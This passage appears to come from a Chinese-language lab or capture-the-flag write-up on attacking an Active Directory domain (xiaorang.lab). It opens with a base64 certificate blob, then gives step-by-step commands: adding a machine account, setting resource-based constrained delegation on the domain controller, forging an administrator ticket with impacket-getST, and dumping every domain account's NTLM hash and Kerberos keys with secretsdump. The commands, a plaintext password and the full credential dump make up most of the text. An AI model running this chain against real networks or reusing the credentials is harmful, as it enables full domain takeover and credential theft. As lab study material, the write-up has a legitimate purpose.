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
base64解码道cert.pfx里，DCsync的时候报错KDC_ERR_PADATA_TYPE_NOSUPP
这个错误意味着域控（DC）不支持 PKINIT 认证，导致证书无法直接用于请求 Kerberos TGT。走ldap就行
机器账户不能建用户，不然直接建个域管，只能委派了，建一个机器账户，把域控 XR-DC01$ 的委派权限授予这个机器账户打资源委派
# add_computer mj Attempting to add a new computer with the name: mj$ Inferred Domain DN: DC=xiaorang,DC=lab Inferred Domain Name: xiaorang.lab New Computer DN: CN=mj,CN=Computers,DC=xiaorang,DC=lab Adding new computer with username: mj$ and password: ?Q+2H_P{eJJk$@m result: OKset_rbcd XR-DC01$ mj$
Found Target DN: CN=XR-DC01,OU=Domain Controllers,DC=xiaorang,DC=lab
Target SID: S-1-5-21-3745972894-1678056601-2622918667-1000
Found Grantee DN: CN=mj,CN=Computers,DC=xiaorang,DC=lab
Grantee SID: S-1-5-21-3745972894-1678056601-2622918667-1147
Delegation rights modified successfully!
mj$ can now impersonate users on XR-DC01$ via S4U2Proxy
exit
然后装域管拿TGT，并且导入票据
┌──(root㉿MJ)-[/tmp/test/yunjing] └─# pc -q impacket-getST -spn cifs/XR-DC01.xiaorang.lab -impersonate administrator -dc-ip 172.22.15.13 'xiaorang.lab/mj$:?Q+2H_P{eJJk$@m' Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies[-] CCache file is not found. Skipping...
[] Getting TGT for user
[] Impersonating administrator
[] Requesting S4U2self
[] Requesting S4U2Proxy
[*] Saving ticket in administrator@cifs_XR-DC01.xiaorang.lab@XIAORANG.LAB.ccache
┌──(root㉿MJ)-[/tmp/test/yunjing]
└─# export KRB5CCNAME=administrator@cifs_XR-DC01.xiaorang.lab@XIAORANG.LAB.ccache
dump全域hash
pc -q impacket-secretsdump -k -no-pass -just-dc -dc-ip 172.22.15.13 -target-ip 172.22.15.13 'xiaorang.lab/administrator@XR-DC01.xiaorang.lab'Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:26b321bde63de24097cd6610547e858b:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:2470506fc14346a968a6cbbce1f938e5:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
wangxiuzhen:1105:aad3b435b51404eeaad3b435b51404ee:d980a693e6b945c6e1d3d7697385f4c0:::
liyuying:1106:aad3b435b51404eeaad3b435b51404ee:4e77dc688f87c4ebbbe1da95931d25d1:::
wangyuying:1107:aad3b435b51404eeaad3b435b51404ee:f09d261da7841e97bc25e5a95833ee4a:::
zhoumin:1109:aad3b435b51404eeaad3b435b51404ee:fad94b7c69cdbc4376fb17dc78cc858e:::
chenmei:1111:aad3b435b51404eeaad3b435b51404ee:d53b17e5763bb9f028211044a32a9267:::
huangmin:1112:aad3b435b51404eeaad3b435b51404ee:9c75fa751d66813d7ed4caa6d2d9af38:::
jiangcheng:1113:aad3b435b51404eeaad3b435b51404ee:9c75fa751d66813d7ed4caa6d2d9af38:::
huanggang:1114:aad3b435b51404eeaad3b435b51404ee:9c75fa751d66813d7ed4caa6d2d9af38:::
machao:1115:aad3b435b51404eeaad3b435b51404ee:9a504875c8fc24ea22c3a27152ed3273:::
lihongxia:1116:aad3b435b51404eeaad3b435b51404ee:90dac5e942acd6ef50ad6b4de8167da4:::
wangxiuhua:1117:aad3b435b51404eeaad3b435b51404ee:0c1b09b6a9ab9f9d1ab46315be2ea9c7:::
wangtingting:1118:aad3b435b51404eeaad3b435b51404ee:6490f879c10ed6abe56e9fdf0466848c:::
liguihua:1119:aad3b435b51404eeaad3b435b51404ee:88c540dbe639451a04a5183ea0e0af0d:::
lilanying:1121:aad3b435b51404eeaad3b435b51404ee:1dcd36745029a8cb021a7ea2515634e7:::
liguizhi:1122:aad3b435b51404eeaad3b435b51404ee:51c00743fa6f148926694c830112ae33:::
wangyulan:1123:aad3b435b51404eeaad3b435b51404ee:9b57eb71d89ba4003558cc451c3393ef:::
wangxiuying:1124:aad3b435b51404eeaad3b435b51404ee:e229d51427368fe6a64d780c99c73a01:::
wangshuzhen:1125:aad3b435b51404eeaad3b435b51404ee:ec15ace457a567262f5684833b53b49d:::
huachunmei:1126:aad3b435b51404eeaad3b435b51404ee:f67f5e3f66efd7298be6acd32eeeb27c:::
jiadongmei:1127:aad3b435b51404eeaad3b435b51404ee:6ac97d0534c99743bfa52ed5584e916b:::
yangguiying:1128:aad3b435b51404eeaad3b435b51404ee:dff3cc2345c4650149fd13af7b569a37:::
liguilan:1129:aad3b435b51404eeaad3b435b51404ee:c337e57ca73c99e1eb1da443425da58b:::
yuxuecheng:1130:aad3b435b51404eeaad3b435b51404ee:cfc4835a206d618f1d7ea2bc22cc49ac:::
lixiuying:1131:aad3b435b51404eeaad3b435b51404ee:ad65e2482dd702903eefe4b721d3a494:::
zhangxiuying:1132:aad3b435b51404eeaad3b435b51404ee:8b30503a779d10de17744bb56ee15b8c:::
wangshuhua:1133:aad3b435b51404eeaad3b435b51404ee:667454046d29e985b63a7931f4b9219d:::
wangxiulan:1134:aad3b435b51404eeaad3b435b51404ee:df0febe8871e463155401c3d896244fc:::
chenjianhua:1136:aad3b435b51404eeaad3b435b51404ee:5e121c3d4d259f35917c9c666c7c3650:::
tiangui:1137:aad3b435b51404eeaad3b435b51404ee:8b30503a779d10de17744bb56ee15b8c:::
tianwen:1138:aad3b435b51404eeaad3b435b51404ee:667454046d29e985b63a7931f4b9219d:::
tianshengli:1139:aad3b435b51404eeaad3b435b51404ee:df0febe8871e463155401c3d896244fc:::
tianlong:1141:aad3b435b51404eeaad3b435b51404ee:5e121c3d4d259f35917c9c666c7c3650:::
XR-DC01$:1000:aad3b435b51404eeaad3b435b51404ee:39dbde586385c5b496eb39eca148c2fb:::
XR-0687$:1103:aad3b435b51404eeaad3b435b51404ee:f09d92a4863246046b24bcbda4569483:::
XR-CA$:1104:aad3b435b51404eeaad3b435b51404ee:90b63a78b0452b4479117fb983da81e8:::
mj$:1147:aad3b435b51404eeaad3b435b51404ee:54effe3b0ca6ec9e1e8e32a2b5597574:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:6e0f5189ed31b54ec7e8b8a7e6b03eea065ec3d7be71a7b83e43a5a325491eab
Administrator:aes128-cts-hmac-sha1-96:adde12aef60c2dbf1fae6b50e9ba6d9d
Administrator:des-cbc-md5:abe0617045e90b2a
Administrator:dec-cbc-crc:abe0617045e90b2a
krbtgt:aes256-cts-hmac-sha1-96:bd2efa1c7ffab0346f46496fdbbd468eba86464560de286f612d0b056f70d44c
krbtgt:aes128-cts-hmac-sha1-96:d55d412c379c4769c36ba4155270cf96
krbtgt:des-cbc-md5:40f1fd16b0fbda5b
wangxiuzhen:aes256-cts-hmac-sha1-96:3d3ba0ff6089a98b1b986009fe3c2ae7a783f501d32f7b6b9f71791d8d9c5cbe
wangxiuzhen:aes128-cts-hmac-sha1-96:26f219f179d3ddbaf2a8290656f749df
wangxiuzhen:des-cbc-md5:eccee92ce057c816
liyuying:aes256-cts-hmac-sha1-96:488901e33ba91b2b58d927797a5ec7f8bede179e6f3b7fba62aac4b9936427c9
liyuying:aes128-cts-hmac-sha1-96:5cbb47c3d5766dc4d33c613ab6f9a45f
liyuying:des-cbc-md5:027504a7a820ba07
wangyuying:aes256-cts-hmac-sha1-96:ed3bd47fce79ad0170f48646647764054b670720e4ad31328e5f50dc191aef2d
wangyuying:aes128-cts-hmac-sha1-96:0d66d8bfb7de1aaad057270b923edf46
wangyuying:des-cbc-md5:79918564ab61fe43
zhoumin:aes256-cts-hmac-sha1-96:46fab8083c4f48489b21b5da3e2fc922ef1f66cfbbc78829b2fc477e4723783d
zhoumin:aes128-cts-hmac-sha1-96:1bff68920b27915b3f1e917ad981f854
zhoumin:des-cbc-md5:9dd67c40eff13de3
chenmei:aes256-cts-hmac-sha1-96:4cd6ffc87bbfccc5310e03680e5bafabca1cb658dececb87642e13dcbd1a7bb1
chenmei:aes128-cts-hmac-sha1-96:6afadb7a5f030a0181e340d94cb2a76a
chenmei:des-cbc-md5:70fbabc40b7a29ef
huangmin:aes256-cts-hmac-sha1-96:3fbff1b76fbe10a02085ff0a7bbd3e7c0e153078a8afe1895b0e10d342f33a28
huangmin:aes128-cts-hmac-sha1-96:2cfb104d7aaa245c6730fa57f38899f0
huangmin:des-cbc-md5:970df24ce354fe01
jiangcheng:aes256-cts-hmac-sha1-96:b10c07048384977f2470005b67dfa9d5e7a17de0fb04d53b49a3e0fb413d0215
jiangcheng:aes128-cts-hmac-sha1-96:663b9662442e3c99eb4c71f50c83bbf1
jiangcheng:des-cbc-md5:730e89e3c2835d2a
huanggang:aes256-cts-hmac-sha1-96:9976b9d8467cadf35251c9c95d860455ebf9297ba518e7fc6794861e9d28d99c
huanggang:aes128-cts-hmac-sha1-96:91039de3cbdeee790ecaac5067d47566
huanggang:des-cbc-md5:86a17adf6bad9b8f
machao:aes256-cts-hmac-sha1-96:850f91e3ffd9d79d803a3a23e28a5308e471d954a6018bffbaf7a44c680e11d0
machao:aes128-cts-hmac-sha1-96:edf47b1011a703e69df2e35b6a2201f7
machao:des-cbc-md5:b50dd0ae4fb52619
lihongxia:aes256-cts-hmac-sha1-96:191240614d1d73d233687da0036764856206e1601026f0761e7b796db91ecdcd
lihongxia:aes128-cts-hmac-sha1-96:2602f3f49fb226cb1842ae803d4268d1
lihongxia:des-cbc-md5:4a1f2c923d986186
wangxiuhua:aes256-cts-hmac-sha1-96:ca6f82b1c4a85910212c39cecac613d4ff438ebd74b542b4fd19199838e9f816
wangxiuhua:aes128-cts-hmac-sha1-96:0d63d1bfb8f56d1da8969274f567ab8a
wangxiuhua:des-cbc-md5:c8fdae6ee091a2e6
wangtingting:aes256-cts-hmac-sha1-96:b24b78464d1a21c917c711dc05e9b411525c5b1e51efe0564473b33381099432
wangtingting:aes128-cts-hmac-sha1-96:4746b4d887666dccf777a020c6b07c7c
wangtingting:des-cbc-md5:cbf498ad8338ab62
liguihua:aes256-cts-hmac-sha1-96:bcb1317ad7701a68c8d5f1f5d8b66522b4aa2b7406cb6e401d8d97a8d75979d8
liguihua:aes128-cts-hmac-sha1-96:2c6b6bf4e88d5b3872dbcb390372bc3d
liguihua:des-cbc-md5:68dc9e8591298c2c
lilanying:aes256-cts-hmac-sha1-96:f437c847ccb120bcb018d93a8eade1ecf3e079cfe9e6d62502ec1d416857cdf4
lilanying:aes128-cts-hmac-sha1-96:f249bb0d3f4182e6df8722312431e9b6
lilanying:des-cbc-md5:2ad6bf83a2a8f2da
liguizhi:aes256-cts-hmac-sha1-96:9e8e1024cb004343e5988ed4b5ebf9530bd2373ec02569f25992a205c9209a11
liguizhi:aes128-cts-hmac-sha1-96:354350b841cb28956f4d004645c2ee83
liguizhi:des-cbc-md5:daa22a027c3e205e
wangyulan:aes256-cts-hmac-sha1-96:0d4a8d53bea31df593d42e4687e79635adf1260d2a0d71b05bb2e04466d01e6d
wangyulan:aes128-cts-hmac-sha1-96:bc222459b9e2ab8b43c18dbfff6973a7
wangyulan:des-cbc-md5:898a495258f264bf
wangxiuying:aes256-cts-hmac-sha1-96:f3bf83cba6b8e8d94de21a2c855936759f142b39713ccf1f360b9345353c58b1
wangxiuying:aes128-cts-hmac-sha1-96:5d2d5cea38db8b6311e7141c4958db92
wangxiuying:des-cbc-md5:e3a1a443a4798fbf
wangshuzhen:aes256-cts-hmac-sha1-96:39065007bfef3978242dab2a005cd44fac3801b6eb2d73fe7fb6678f0f924f25
wangshuzhen:aes128-cts-hmac-sha1-96:ea226c14b5f5509f504fa3b25d40421a
wangshuzhen:des-cbc-md5:406215cd2a8ff71f
huachunmei:aes256-cts-hmac-sha1-96:fd2bc1c03ae32793c09cf35a413ddb2d57f5fdc93b01128d848eace2f7da7d9b
huachunmei:aes128-cts-hmac-sha1-96:880fdb912ae85ebe53bbbc69124c207d
huachunmei:des-cbc-md5:ae1a6b6e62191aab
huachunmei:dec-cbc-crc:ae1a6b6e62191aab
jiadongmei:aes256-cts-hmac-sha1-96:ffff95cfb208f879f9b2068a0c8b08cdd60639e6b9f703ceec8a5b0c2ccc4334
jiadongmei:aes128-cts-hmac-sha1-96:d8d36b6ab86f147c82c56d7d65663617
jiadongmei:des-cbc-md5:fbfd57619bb9fdf7
yangguiying:aes256-cts-hmac-sha1-96:eab326f64fe45157b1bf2437fb6b83eec4267235602c2c234a317b99197950a6
yangguiying:aes128-cts-hmac-sha1-96:8479f0eaa660778a3b6e9b4ab6745427
yangguiying:des-cbc-md5:1c08b6fb7310a7d3
liguilan:aes256-cts-hmac-sha1-96:7d32d8c89be54ab71d4e7639e978ef785d45d4fa4fb24afad21692198610ea05
liguilan:aes128-cts-hmac-sha1-96:fa8ac7ca3813c7731b1f2fc9253a0cb9
liguilan:des-cbc-md5:89b03efb86b9df49
yuxuecheng:aes256-cts-hmac-sha1-96:433edf2a97d3157630073e2b08a65c27e826df63440f4d0721857f7d3c74969a
yuxuecheng:aes128-cts-hmac-sha1-96:5e69c8750664229d1ed4a2c309f1f445
yuxuecheng:des-cbc-md5:d57502da7cfdc715
lixiuying:aes256-cts-hmac-sha1-96:0085316e516c44dca420726130695394b73e425eb4597f76c897af58fb8c2b27
lixiuying:aes128-cts-hmac-sha1-96:0c2a366aa8861e7bab0041b58c7ccfd2
lixiuying:des-cbc-md5:15d061b6ad9275ce
lixiuying:dec-cbc-crc:15d061b6ad9275ce
zhangxiuying:aes256-cts-hmac-sha1-96:519b7737380de6b46832e00140bb7e129d166d6a0cb836e5b4a551747d4cfd2e
zhangxiuying:aes128-cts-hmac-sha1-96:bbbdbfd0cc3449a7bf1cd1c00d998ba9
zhangxiuying:des-cbc-md5:ea912fab2aa862ec
wangshuhua:aes256-cts-hmac-sha1-96:3e37a525c5785d26c77df46a7e492547b9c71a3df947e2f29fd66379fa91e77a
wangshuhua:aes128-cts-hmac-sha1-96:635f186716be3d640b436b3a122424c5
wangshuhua:des-cbc-md5:3e3e319770a2d516
wangxiulan:aes256-cts-hmac-sha1-96:148af9ecf6430c01a48edc8d91188bf8bcb8955a2ca31d6032267492d32f5034
wangxiulan:aes128-cts-hmac-sha1-96:91dd28dbb7645a90d1b85ad6d56e1fe0
wangxiulan:des-cbc-md5:0eb0fb439ef81919
chenjianhua:aes256-cts-hmac-sha1-96:f0924fc23af017ce6564b3cc1cd9fabd05fe5b5d8be129be5df65133943f0470
chenjianhua:aes128-cts-hmac-sha1-96:d1c0724b5498230ed579d769676cde56
chenjianhua:des-cbc-md5:b3d68ad93e6151fe
tiangui:aes256-cts-hmac-sha1-96:ea973d77cb1e7553eebf74f252f6e65d3ded442a2e903882130a891b0857ae5c
tiangui:aes128-cts-hmac-sha1-96:4b0540f9f84c834834b7630ba572b161
tiangui:des-cbc-md5:57bf1c150bf4163b
tianwen:aes256-cts-hmac-sha1-96:0d50bde0354833c30284bb4e5105fe6efde9a6d394492c17ebad628abda6a120
tianwen:aes128-cts-hmac-sha1-96:623189263738cd93d353cc69ed901587
tianwen:des-cbc-md5:e0f18f37293b4a46
tianshengli:aes256-cts-hmac-sha1-96:86dd2340322e692dc84a55b58a071193c61aa9f42ccb5313b1e9faea32901a17
tianshengli:aes128-cts-hmac-sha1-96:a48d66d1a413fbac7a84dd8b36f0018d
tianshengli:des-cbc-md5:3b5b76839b15b691
tianlong:aes256-cts-hmac-sha1-96:d1ce4031b5d242c4e6e24831e69dd78147eb7ade76e2cda79459ee10e77e5477
tianlong:aes128-cts-hmac-sha1-96:860569a4d25b4649055da07b96d2e41f
tianlong:des-cbc-md5:e9464389858c0ba1
XR-DC01$:aes256-cts-hmac-sha1-96:0ae1c6e07995db8c545f245203adb8b02d95e798ef8a7edce8225e8181bfe7eb
XR-DC01$:aes128-cts-hmac-sha1-96:7fb058de630332474cfbc24b32103d4c
XR-DC01$:des-cbc-md5:2abca123d523d08c
XR-DC01$:dec-cbc-crc:2abca123d523d08c
XR-0687$:aes256-cts-hmac-sha1-96:2c85f72ab7d3e606148b8b23db8d19097760d308649e80820a6a8a6ec6badd39
XR-0687$:aes128-cts-hmac-sha1-96:f504a034c23042393221868bc761a152
XR-0687$:des-cbc-md5:67d6450d43b9265b
XR-0687$:dec-cbc-crc:67d6450d43b9265b
XR-CA$:aes256-cts-hmac-sha1-96:281d927bfda8ea5cf49b29dd8b296b4838262e9cd305cef6b189549b6e5f64ea
XR-CA$:aes128-cts-hmac-sha1-96:ddd262a761218672863a82160596be43
XR-CA$:des-cbc-md5:eadcdc25bfcb51d5
XR-CA$:dec-cbc-crc:eadcdc25bfcb51d5
mj$:aes256-cts-hmac-sha1-96:025db0d4ab1ae826b0b5adef44fa74498fa466deb00a373051a4b4125999ab27
mj$:aes128-cts-hmac-sha1-96:2f38ecbb19770becb456d089697f293e
mj$:des-cbc-md5:3ec849dccd8c4961
mj$:dec-cbc-crc:3ec849dccd8c4961
然后变成真的域管